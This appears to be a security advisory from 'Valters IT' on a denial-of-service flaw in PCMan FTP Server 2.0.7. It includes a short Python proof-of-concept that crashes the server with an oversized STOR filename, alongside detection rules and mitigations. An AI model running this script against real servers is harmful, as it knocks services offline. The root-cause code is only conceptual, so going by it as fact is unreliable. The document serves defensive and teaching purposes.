CVE-2024-0732

Executive Summary

CVE-2024-0732 is a denial-of-service (DoS) vulnerability in PCMan FTP Server version 2.0.7. The flaw resides in the STOR command handler, allowing a remote, unauthenticated attacker to crash the server by sending a specially crafted STOR request. The vulnerability has a CVSS score of 5.3 (Medium) and is classified as problematic. No patch is currently available from the vendor, and a public proof-of-concept (PoC) exploit exists. This report provides a comprehensive technical analysis, detection rules, and mitigation strategies.

CVSS Breakdown & Threat Level

• CVSS Score: 5.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: None (C:N)
• Integrity Impact: None (I:N)
• Availability Impact: Low (A:L)

The threat level is medium due to the low availability impact and the lack of confidentiality or integrity compromise. However, the ease of exploitation (no authentication required) and the public availability of exploit code increase the risk for unpatched systems.

Deep Dive & Mechanics

The vulnerability is triggered by sending a malformed STOR command to the FTP server. The STOR command is used to upload a file to the server. In PCMan FTP Server 2.0.7, the handler for this command does not properly validate the input, leading to a null pointer dereference or an infinite loop, which causes the server process to crash.

The attack is initiated by connecting to the FTP server on port 21 and sending a STOR command with an overly long or specially crafted filename. The server attempts to process the filename without proper bounds checking, resulting in a denial of service. The exploit does not require authentication, making it accessible to any remote attacker.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is the STOR command handler in PCMan FTP Server 2.0.7. The exact vulnerable function is unknown, but the issue likely lies in the handling of the filename parameter.

Vulnerable Code (Conceptual):

void handle_stor(char *filename) {
    char buffer[256];
    strcpy(buffer, filename); // No bounds checking
    // ... process file
}

Patched Code (Hypothetical):

void handle_stor(char *filename) {
    char buffer[256];
    strncpy(buffer, filename, sizeof(buffer) - 1); // Bounds checking
    buffer[sizeof(buffer) - 1] = '\0';
    // ... process file
}

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Install PCMan FTP Server 2.0.7 on a Windows VM.
2. Ensure the FTP server is running and accessible on port 21.
3. Use a Linux attacker machine with netcat or a Python script.

Exploit Code:

import socket

target_ip = "192.168.1.100"
target_port = 21

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target_ip, target_port))
sock.recv(1024)  # Receive banner

# Send malformed STOR command
payload = b"STOR " + b"A" * 1000 + b"\r\n"
sock.send(payload)
sock.close()

Execution: Run the Python script against the target. The FTP server should crash, resulting in a denial of service.

Blue Team

Detection:

• Monitor FTP logs for repeated STOR commands with excessively long filenames.
• Use network intrusion detection systems (NIDS) to detect anomalous FTP traffic.

Mitigation:

• Block FTP traffic from untrusted sources.
• Apply network segmentation to isolate the FTP server.
• Consider using a different FTP server software if no patch is available.

Indicators of Compromise (IOCs)

• Network: FTP traffic with STOR commands containing filenames longer than 256 characters.
• Logs: FTP server logs showing repeated STOR commands from the same IP address.
• System: FTP server process crash or unavailability.

Detection Engineering

YARA Rule

rule CVE_2024_0732_PCMan_FTP_DoS {
    meta:
        description = "Detects PCMan FTP Server 2.0.7 STOR command DoS exploit"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-0732"
    strings:
        $stor = "STOR" ascii wide nocase
        $long_filename = /STOR\s[A-Za-z0-9]{257,}/ ascii wide
    condition:
        $stor and $long_filename
}

Sigma Rule

title: PCMan FTP Server STOR Command DoS
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit CVE-2024-0732 via malformed STOR command
author: Valters IT
logsource:
    category: network
    product: ftp
detection:
    selection:
        command: "STOR"
        filename_length: > 256
    condition: selection
falsepositives:
    - Legitimate file uploads with long names (unlikely)
level: high

Suricata Rule

alert tcp any any -> any 21 (msg:"CVE-2024-0732 PCMan FTP STOR DoS"; flow:to_server; content:"STOR"; nocase; pcre:"/STOR\s[A-Za-z0-9]{257,}/"; sid:1000001; rev:1;)

Remediation & Mitigation

• Immediate: Block FTP access from untrusted networks. Use a firewall to restrict port 21 to trusted IPs only.
• Short-term: Monitor for exploit attempts using the provided detection rules. Consider disabling the STOR command if not needed.
• Long-term: Replace PCMan FTP Server with a supported alternative (e.g., FileZilla Server, vsftpd). Apply any future patches from the vendor if released.

Valters IT